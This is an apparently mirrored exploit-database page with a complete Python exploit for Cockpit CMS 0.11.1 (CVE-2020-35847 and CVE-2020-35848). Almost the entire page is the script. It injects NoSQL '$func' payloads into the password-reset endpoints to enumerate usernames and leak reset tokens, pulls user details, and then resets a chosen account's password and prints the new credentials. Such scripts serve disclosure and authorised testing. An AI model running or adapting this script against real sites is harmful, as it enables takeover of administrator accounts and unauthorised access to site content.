Cockpit cms 0.11.1 username enumeration & password reset nosql injection Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-08-10 | Type : webapps | Platform : multiple

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[+] Code ...

# Exploit Title: Cockpit CMS 0.11.1 - 'Username Enumeration & Password Reset' NoSQL Injection
# Date: 06-08-2021
# Exploit Author: Brian Ombongi
# Vendor Homepage: https://getcockpit.com/
# Version: Cockpit 0.11.1
# Tested on: Ubuntu 16.04.7
# CVE : CVE-2020-35847 & CVE-2020-35848

#!/usr/bin/python3
import json
import re
import requests
import random
import string
import argparse


def usage():
guide = 'python3 exploit.py -u <target_url> '
return guide

def arguments():
parse = argparse.ArgumentParser(usage=usage())
parse.add_argument('-u', dest='url', help='Site URL e.g http://cockpit.local', type=str, required=True)
return parse.parse_args()

def test_connection(url):
try:
get = requests.get(url)
if get.status_code == 200:
print(f"[+] {url}: is reachable")
else:
print(f"{url}: is Not reachable, status_code: {get.status_code}")
except requests.exceptions.RequestException as e:
raise SystemExit(f"{url}: is Not reachable \nErr: {e}")


def enumerate_users(url):
print("[-] Attempting Username Enumeration (CVE-2020-35846) : \n")
url = url + "/auth/requestreset"
headers = {
"Content-Type": "application/json"
}
data= {"user":{"$func":"var_dump"}}
req = requests.post(url, data=json.dumps(data), headers=headers)
pattern=re.compile(r'string\(\d{1,2}\)\s*"([\w-]+)"', re.I)
matches = pattern.findall(req.content.decode('utf-8'))
if matches:
print ("[+] Users Found : " + str(matches))
return matches
else:
print("No users found")

def check_user(usernames):
user = input("\n[-] Get user details For : ")
if user not in usernames:
print("User does not exist...Exiting")
exit()
else:
return user


def reset_tokens(url):
print("[+] Finding Password reset tokens")
url = url + "/auth/resetpassword"
headers = {
"Content-Type": "application/json"
}
data= {"token":{"$func":"var_dump"}}
req = requests.post(url, data=json.dumps(data), headers=headers)
pattern=re.compile(r'string\(\d{1,2}\)\s*"([\w-]+)"', re.I)
matches = pattern.findall(req.content.decode('utf-8'))
if matches:
print ("\t Tokens Found : " + str(matches))
return matches
else:
print("No tokens found, ")


def user_details(url, token):
print("[+] Obtaining user information ")
url = url + "/auth/newpassword"
headers = {
"Content-Type": "application/json"
}
userAndtoken = {}
for t in token:
data= {"token":t}
req = requests.post(url, data=json.dumps(data), headers=headers)
pattern=re.compile(r'(this.user\s*=)([^;]+)', re.I)
matches = pattern.finditer(req.content.decode('utf-8'))
for match in matches:
matches = json.loads(match.group(2))
if matches:
print ("-----------------Details--------------------")
for key, value in matches.items():

print("\t", "[*]", key ,":", value)
else:
print("No user information found.")
user = matches['user']
token = matches['_reset_token']
userAndtoken[user] = token
print("--------------------------------------------")
continue
return userAndtoken

def password_reset(url, token, user):
print("[-] Attempting to reset %s's password:" %user)
characters = string.ascii_letters + string.digits + string.punctuation
password = ''.join(random.choice(characters) for i in range(10))
url = url + "/auth/resetpassword"
headers = {
"Content-Type": "application/json"
}
data= {"token":token, "password":password}
req = requests.post(url, data=json.dumps(data), headers=headers)
if "success" in req.content.decode('utf-8'):
print("[+] Password Updated Succesfully!")
print("[+] The New credentials for %s is: \n \t Username : %s \n \t Password : %s" % (user, user, password))

def generate_token(url, user):
url = url + "/auth/requestreset"
headers = {
"Content-Type": "application/json"
}
data= {"user":user}
req = requests.post(url, data=json.dumps(data), headers=headers)

def confirm_prompt(question: str) -> bool:
reply = None
while reply not in ("", "y", "n"):
reply = input(f"{question} (Y/n): ").lower()
if reply == "y":
return True
elif reply == "n":
return False
else:
return True

def pw_reset_trigger(details, user, url):
for key in details:
if key == user:
password_reset(url, details[key], key)
else:
continue



if __name__ == '__main__':
args = arguments()
url = args.url
test_connection(url)
user = check_user(enumerate_users(url))
generate_token(url, user)
tokens = reset_tokens(url)
details = user_details(url, tokens)
print("\n")
b = confirm_prompt("[+] Do you want to reset the passowrd for %s?" %user)
if b:
pw_reset_trigger(details, user, url)
else:
print("Exiting..")
exit()